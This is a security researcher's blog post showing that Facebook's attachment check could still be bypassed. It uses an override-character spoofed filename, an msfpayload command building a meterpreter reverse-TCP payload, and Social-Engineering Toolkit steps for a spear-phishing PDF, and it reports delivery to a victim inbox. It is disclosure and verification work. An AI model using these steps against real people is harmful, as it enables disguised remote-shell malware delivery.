Facebook Attachment Vulnerability Revisited

By Glenn P. Edwards Jr.

Recently it was reported that Facebook had a vulnerability which allowed you to send an executable file via Facebook messaging.

Vulnerability? Maybe more just a bad security practice or some error in the way it checked attachments. But since you do not need to be friends with someone in order to send them a message (unless you beef up your security settings) the risk increases. The researchers captured the traffic being sent to Facebook when they tried sending an attachment and figured out that Facebook seemed to only reject attachments based solely on looking at their file extensions – hence by simply doing something such as adding a space after the file’s extension it would bypass the attachment check. For instance:

i.e. ‘malware.exe ‘


Facebook downplayed this finding but later seemed to silently fix the issue. If you look at their official statement you’ll notice they stated “…we are not going to rely solely on string matching as a protective measure, since zip files and other things could also have unpredictable behaviors when sent as an attachment. We are AV scanning everything that comes through as a secondary measure, so we have defense in depth for this sort of vector. “ (more on that later)

Can you think of a person that you know that doesn’t have a Facebook account, or at least someone you know that does have one? Scary isn’t it?

The researchers who brought this to attention add to the recent waves of public disclosure showing there’s a trend amongst large companies putting security second. Is it absolutely necessary to send attachments via Facebook or is it just a bloated feature which will do more harm than good? Will most users tamper with the HTTP POST and alter the data being sent to trick a user? Not your everyday user, but for a pentest/red team/nation states of course. It doesn’t matter anyway because Facebook fixed it and we are all safe, right?

Re-visiting Facebooks attachment ‘fix’

I figured I should first start out by verifying that we can’t simply modify the HTTP POST content as previously disclosed.

1. Capture the HTTP POST content - Once logged into Facebook, I fired up the Tamper Data add-on and choose to tamper the request made when you choose to upload a file via Facebook messaging.

2. Alter the POST content - According to the other researchers all you had to previously do was add a space to the end of the file. After catching the HTTP POST request with Tamper Data the content being submitted to Facebook looks like the following:
   
   
   
   
   I copied this content out of Tamper Data and altered it within Notepad so I could insert the space after the file extension (To make things easier I highlighted the space I inserted). Also take note of the line ‘Content-Type: application/octet-stream\r\n\r\n\MZ’ … Facebook appears to be doing some file classification as it properly pinpoints it as an application with the file header MZ. After re-inserting the tampered content to submit back to Facebook, it appears this was fixed since I got the big fail notice:
   
   
   
   Score: +1 Facebook

I was curious to see if I could simply alter the ‘Content-Type’ field so I uploaded a legitimate .txt file and observed facebook marks it as :

Content-Type: text/plain\r\n\r\n\r\n

The part of the request that I changed is highlighted below:

Did it work? Nope…

Score: +2 Facebook

Alright… so maybe Facebook is doing another check on the backend to verify that the file extension, content type and file header (if available) match. Well I’m a nosey/curious person so let’s test it out.

RTLO

Have you ever heard of Right-to-Left-Override (RTLO)? RTLO is Unicode character (U+202E) and exists to support languages which are written from right to left such as Arabic and Hebrew. While RTLO is among the most commonly known there are similar characters such as the Left-to-Right-Overide (LTRO) Unicode character which is what I’ll use in the following example. Most people are still unaware of such characters but using them is a technique that’s been observed with malware in order to depict a false sense of what the file actually is.

I happened to be on Backtrackv5 when I did this but there’s nothing prohibiting you from doing it on another platform/distro. Since Backtrack didn’t seem to have a character map I had to install one:


$ apt-get install gucharmap


As you can see from above, if you search for “U+202E” you’ll land on the RTLO Unicode character, same thing for “U+202D”.

Since Facebook stated they use A/V to scan the attachments I thought I’d try to incorporate a file format exploit instead of a standalone EXE (make it a little more work on their end). Within Backtrack I loaded up Metasploit and created a payload the following way:


$ cd /pentest/exploits/framework2
$ msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT R | msfencode –t exe >> awsnap.exe


Once I had my meterpreter payload I jumped into the Social Engineering Toolkit (SET)


$ cd /pentest/exploits/set
$ ./set


And chose the following options:

• Social-Engineering Attacks
• Spear-Phishing Attack Vectors
• Create a File Format Payload
• Adobe PDF Embedded EXE Social Engineering
• Build In BLANK PDF (it’ll suffice for a PoC)
• Windows Meterpreter (reverse TCP)
• IP – 127.0.0.1
• Port – default
• Chose my previously generated ‘awsnap.exe’ payload
• Renamed PDF file format to ‘awsnap.pdf’

* Default location to save to is /root/pentest/exploits/set/src/program_junk

I proceeded to rename to the following file name format ‘alexe(LTRO).txt’
The renamed file within BackTrack explorer view:

The renamed file within a Windows 7 explorer view:

Prior to testing this file within Facebook I wanted to get some basic information on it:

1. File identification based on magic number and MD5 hash:
   
   
2. Viewed this file within a hex editor to verify that the beginning of the file contained the file header of an EXE:
   
   
   
   It was generated from a popular security tool so let’s see how it holds up as it currently is against some A/V venders:
   
   
   
   Did you notice the text being displayed from Virustotal is backwards? No it’s not your mind playing tricks on you... it also gets fooled with RTLO/LTRO
   
   
   
   After it was scanned only 58% (most popular companies found it) detected it as something questionable. – side rant… why isn’t fuzzy hashing incorporated into A/V ?? anyone? Code re-use isn’t hard to detect and helps find variants people.
   
   Let’s get back to Facebook and try to attach it within a message. After capturing the HTTP POST content again I noticed that the ‘Content-Type’ field states it’s a ‘text/plain’ file but if you notice towards the end it still found the file’s header “MZ”.
   
   
   
   Moment of truth…. did it work? Yup. Here’s the message with the EXE successfully attached as well as Facebook also having a hard time dealing with the reverse character order for the name/file size:
   
   
   
   Score: +1 the little guy
   
   Below is the victim’s Facebook inbox to show that the message was in fact transmitted and successfully received by the victim.
   
   

Conclusion

What can we take away from this?

• They aren’t really scanning attachment files or they aren’t using one of the popular A/V programs that originally flagged this file as questionable
• They aren’t verifying that the Content-Type and the file header match
• There’s no actual checking of the contents of the file – as we know from opening this file up within a hex editor that the file header is clearly there and identifiable.

Now for the skeptics who are wondering if the contents of the file were modified during transit – the answer is no. It doesn’t appear as though anything was changed or stripped from this file:

MD5 of the file once downloaded from the victim’s Facebook which matches its MD5 hash prior to sending:

Header of the file once the victim downloaded it:

It’s understandable for a company like Facebook to say solely sending a file isn’t what leads to a compromise – there’s some social engineering and user interaction which must take place. However, they’re not helping…. and when someone says they’ve fixed something, don’t always believe them until you can verify it for yourself.

About the author

Glenn P. Edwards Jr. is a Senior Consultant with Foundstone’s Incident Response practice where he specializes in Digital Forensics, Malware Analysis and Intrusion Detection.

Update:

To clear a few things up – this was meant as a PoC that you could still attach an executable file to a Facebook message and try to see what types of checks/scanning of attachments Facebook was actually doing. Since the particular example I showed alters the file type, the file _should_ execute with the default application to handle that file extension (i.e. since Windows thinks it’s a Text Document, notepad or whatever is set for that file extension on the target system will try opening the file.). With that being said, I don’t believe this to downgrade its potential but just something to note. The previous researchers showed adding a space to the end of the EXE and sending the file – what is unknown is when that file is downloaded by the victim how the file name appears. Based on what I observed, it should be intact and if that’s the case then Windows shouldn’t recognize what type of file it is because it has an unknown/invalid file extension which means it too wouldn’t execute right away either without having its name modified.

There are other possibilities that weren’t tried such as just doing a RTLO and changing the icon/resource section of the EXE. By doing this, it would still appear as an application but again look like something else but the only difference is how the system would handle that particular file type.